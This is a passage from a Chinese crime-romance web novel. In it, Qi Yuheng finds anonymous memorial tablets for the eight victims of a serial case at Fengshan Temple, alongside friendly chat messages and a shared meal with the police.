陈彦博发给他一张烤肉图,说: 【急急国王:我现在在和玉衡吃饭】 沈灵均有些意外: 【Shen:你俩怎么凑一块去了?】 【急急国王:他做义工的聋哑学校有个小姑娘生病去看病,我接的诊。小姑娘爹不疼娘不爱的,阴差阳错的,我俩最近总联系】 沈灵均下意识地挑起了眉: 【Shen:玉衡还在聋哑学校做义工啊?哪个聋哑学校?】 【急急国王:容州第二特殊教育学校。玉衡人美心善,学校的老师说,他经常给一些家境不好的聋哑娃买吃的用的,又出钱又出力】 经济条件十分困窘、恨不得把每一分每一秒的时间都用在赚钱上的人,却还会花费金钱和精力在志愿活动上。听起来很离谱的事,但放在戚玉衡身上,他又觉得是情理之中。 【Shen:转账1000.00元】 【急急国王:?干嘛】 【Shen:请你们两个吃烤肉。】 【急急国王:6】 【急急国王:转账已退回】 【急急国王:点我呢是吧?我知道小戚的情况,我一会肯定会抢着付账的。还用你在这得瑟?论工资甚至还挣不过我的小卡拉米[翻白眼][翻白眼]】 沈灵均忍不住笑了: 【Shen:冒犯了冒犯了】 工作的时候还没什么想法,但听陈彦博这一提起,沈灵均心里忽然涌出一股强烈的想见戚玉衡的冲动——或许,这种冲动,可以被称为思念。 朋友之间,四五天不见,会产生“思念”这种浓烈的情感吗? 沈灵均将手机来回开关了好几次,最终还是忍不住对陈彦博道: 【Shen:你们俩一起拍张照发给我。】 【急急国王:?干嘛】 沈灵均撒了个谎: 【Shen:正好我也在吃饭。我们一起赛博吃饭。】 【急急国王:[无语][无语][无语]】 尽管陈彦博似乎觉得他莫名其妙,但不一会,他还是给他发来了一张张照片。 陈彦博找了一个非常死亡的拍照角度——他背着身,将手机举高,俯拍了一张照。戚玉衡整个人只有半个身子入了镜,脸部的边缘因此有些走形。但尽管集齐了刁钻角度、镜头拉扯、灯光条件差等等会让人失真变丑的要素,但照片里的他还是很好看。 沈灵均把这张照片里保存了下来。 82.第 82 章 第二天一早,戚玉衡就去旅店见了冯父冯母。冯母告诉他,冯小竹只留下他手中那一部手机。 辞别二人后,戚玉衡来到玉宁区公安分局,找到了杨雪茹,将冯小竹手机里没有数据的事告诉了她。 杨雪茹耐心地听完了他的叙述,随后表情有些为难地看着他:“戚先生,我大概明白您想表达的意思,但是,冯小姐她确确实实是自杀无疑,她还留下了遗书,没有被胁迫自杀的迹象……您能明白我的意思吗?” 戚玉衡缓慢地点了点头。 因为冯小竹是自杀,所以警方没有责任、也没有义务再在这个案子上投入精力。 尽管来分局之前就对这样的结果有所预料,但戚玉衡心中还是有些失望。离开分局后不久,戚玉衡接到了陈彦博的电话。 “玉衡,鉴定中心刚给我打了电话,赵海波给的那几根头发和美星肚子里孩子的DNA比对结果出来了。没一个人对得上。把头发给鉴定中心的时候,我担心赵海波随便给几根头发糊弄我,还特意要求鉴定中心的法医对这几根头发做一下DNA比对。” “检测结果表明,有两个样本间存在父子关系,所以赵海波可能还真是按照咱们的要求,把他弟弟、老爹和小舅子的头发交给我们了。我觉得啊,现在基本上可以排除是近亲或是同村人作案了。美星的那些亲戚和同乡,应该也没人有财力带她去高档饭店消费。” 之后两天,戚玉衡和陈彦博一共去了二十余家高档刺身店探访,但是都没打听出什么结果。 星期六这天一早,戚玉衡和牛明星夫妻俩一块去了丰山寺。丰山寺本就香火鼎盛,休息日更是人流如织。三人一块在大雄宝殿敬过香,随后便兵分两路,牛明星夫妻去找大师为孩子求签解签,戚玉衡则去了专门供奉牌位的普贤殿。 负责接待的知客僧告诉他,供奉一个牌位一年需要“随喜”五百,一次性“随喜”一万五千块可以永久供奉。戚玉衡积蓄有限,于是只给李长乐供奉了一个永久牌位,给冯小竹、赵美星、段俊和高晶暂供了一年期的牌位。 交完钱、写好牌位,目送着知客僧将牌位送去装裱,戚玉衡忽然感觉心里一空,一时间不知道自己接下来该去哪、该做些什么。 他在原地一动不动地站了一会,随后挪动脚步,开始在这间专门供奉牌位的大殿转了起来。因为香火旺盛,来丰山寺供奉牌位的人相当多,刚才戚玉衡为李长乐等人写牌位的时候,发现牌位上的序号已经排到了一万多号。 用来摆放牌位的牌位架有两米多高,分为七层,大殿里大多数的牌位架都已经被摆满,一眼望上去颇具视觉冲击力。戚玉衡按照时间顺序,从前往后浏览起这些牌位来。 一个牌位,就代表着一个人的一生:有人为自己的亲属供奉牌位,有人为自己的朋友供奉牌位,有人为自己的偶像供奉牌位——也不单单只供奉了人,戚玉衡看到,还有人为自家宠物供奉了牌位。 不知过了多久,戚玉衡忽地看到了一个颇为眼熟的名字:高广平。 他记得,这是3.18案第八位被害人的名字,牌位上写明了供奉牌位的时间,08年6月10日,是在高广平遇害两个月后。这个牌位上面的字也有些奇怪:一般的供奉人都与被供奉人有亲友关系,会在逝者名字前面加上形容二人关系的关系词,例如慈父慈母、丈夫、兄弟姐妹,但高广平的牌位上只简单写着“故高广平”。 这个高广平,就是3.18案中被害的高广平吗?还是只是恰巧重名? 很快,戚玉衡的疑问就得到了解答。在距离高广平往生牌位不过三列的距离,他又看到了两个熟悉的名字:蒋济同、邵恒。这是3.18案第七位、第六位受害人的名字,他们两个人的牌位一上一下地摆在一起,立牌位的日期是08年1月4日,牌位上的字依旧写得很简单,名字前面没有任何关系词。 戚玉衡的手下意识地握紧了拳,开始快速地浏览起眼前的牌位来。在距离蒋济同、邵恒所在那一列牌位的四列外,他看到了3.18案前五位被害人卢川、邱飞剑、李令杰、宋望舒、高恒的牌位,和高广平三人一样,他们的牌位上也都只写了名字,供奉时间是07年11月30日。 这八名被害人都在丰山寺供了牌位,是巧合吗?不太可能。如果是父母亲人供奉牌位,应该都会在牌位上写明自己与被供奉人的关系,就算一个家属不写,也不会巧到八位家属都不写。 如果不是家属给这八个孩子供了牌位,会是谁给他们供了牌位呢?给他们供奉牌位的,会是同一人吗? 戚玉衡立刻给瞿春光打去了电话,说明了情况。 四十分钟后,沈灵均、瞿春光、乔瑜三人赶到了丰山寺。 瞿春光确认过八个牌位的情况后,就朝普贤殿的知客僧出示了证件,道:“我想看一下你们这里供奉牌位的供奉人记录,”瞿春光把八位被害人的牌位序号说了,“你把这八个牌位帮我们取下来,我们要作为证据带走。” 普贤殿的知客僧相当年轻,估计也是第一次遇到这种阵仗,一时间有些懵,过了数秒后,他似乎才缓过神来,指了指桌子上的本子:“这个月的供奉记录都在这了,今年的其余供奉记录放在我们的财务办公室里,但是我是从今年年初才开始负责供奉牌位一事的接项的,今年之前的记录,我也不知道在哪。” 瞿春光道:“……那就把你们寺里知道记录在哪的师父请过来!” 说完这话,瞿春光似乎觉得自己的态度不大好,压低了声音,用十分缓和的语气道:“麻烦你了,可以吗?” 小知客僧连连点头,快步走了。 过了差不多十几分钟,小知客僧手里抱着五六本记录簿回来了,身后跟着一个约莫四五十岁的中年僧人。 小知客僧介绍道:“这是我们寺的首座,怀素师父。” 怀素师父拍了拍小知客僧怀里的记录簿:“警官,我们寺从05年开通供奉牌位这个项目后所有的供奉记录都在这里了。你们提到的几个牌位都是07、08两年供奉的,应该都记录在第一本记录簿里。” 瞿春光立刻拿过第一本记录簿翻了起来,很快,他就找到了供奉卢川等五人的记录。 瞿春光用手指捋着供奉人的名字:“供奉人,赵先生?你们这里供奉牌位不要求实名吗?不留个供奉人的联系方式吗?” 怀素脸上露出一个有些尴尬的笑:“近几年是都要求实名的,但开这个项目的前些年,我们的管理比较松散,不要求供奉人强制实名,而且有很多供奉人讲究‘做好事不留名’‘随喜赞叹’,不愿意留名字。而对于一次性供奉了永久牌位的供奉人,如果供奉人不愿意留联系方式,我们也不强求。” 瞿春光又翻了翻记录簿,发现供奉蒋济同和邵恒的是一位“钱先生”,供奉高广平的是一 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就在戚玉衡又一次去分神去看沈灵均时,沈灵均忽然转向他,问道:“一会一起吃个饭吧?” 戚玉衡下意识地想答应,但很快他就想起来,他今天是和牛明星夫妻俩一起来的,他搭了他们的车,总不能就这么把人家两口子撇下。 他有些抱歉地朝沈灵均笑笑:“我今天是和朋友一起来的……” 这个时候,瞿春光回头对他道:“小戚,咱们中午一块在寺里吃个饭吧。丰山寺的素面挺好吃的,我们一家来这吃过。我请客。你今天发现的这条线索实在是很给力,我可得好好感谢你。” 一番推让后,瞿春光一行三人与戚玉衡三人在斋堂拼了个桌,六个人坐在一块吃面。 因为有他们三个群众在一旁,瞿春光等人不好提案情的事,一时间找不到话题。而牛明星夫妻俩则是头一回和警察一块吃饭,很有些不自在,不敢随意开口,桌上的气氛一时有些冷凝。这时,沈灵均开口问牛明星道:“牛店长的孩子如今有几个月了?” 令在场所有人都意外的是,沈灵均对母婴育儿这个领域颇有了解,他和牛明星从妈妈补剂聊到婴儿胎教,从医院建档流程聊到月子中心,甚至对待产包需要准备的用品都如数家珍。涉及到育儿,已婚已育的瞿春光也能说得上话,而瞿春光的大儿子马上就要上高中,和身为高中教师的顾含章很有得聊。 很快,餐桌上的氛围就从冷冷清清转变为了热火朝天。最先挑起话题的沈灵均反而沉寂下来,低头专心吃面。 乔瑜一直没怎么说话,又因为警察的职业病,吃饭向来风卷残云,这会已经快把面汤喝干净了。他一边支着耳朵听瞿春光等人聊天,一边下意识地用眼睛打量着四周。打量来打量去,乔瑜的目光最终落到了坐在他斜对面的戚玉衡身上。 戚玉衡也已经把面吃完了,此刻,他正……专心致志地看着他对面的沈灵均吃面。 乔瑜看了戚玉衡多久,他就看了沈灵均多久。 乔瑜本以为戚玉衡只是在发呆、放空,但很快他就发现,事实并非如此。戚玉衡的眼睛有神得很,目光中隐隐有些忧色,但嘴角似乎还窝着点笑意。 好奇怪的表情。 搞得乔瑜也不由自主地往沈灵均的方向看了一眼——呃,沈检的嘴角也没沾到香菜或者葱花啊?但为什么戚玉衡就是一直盯着他看?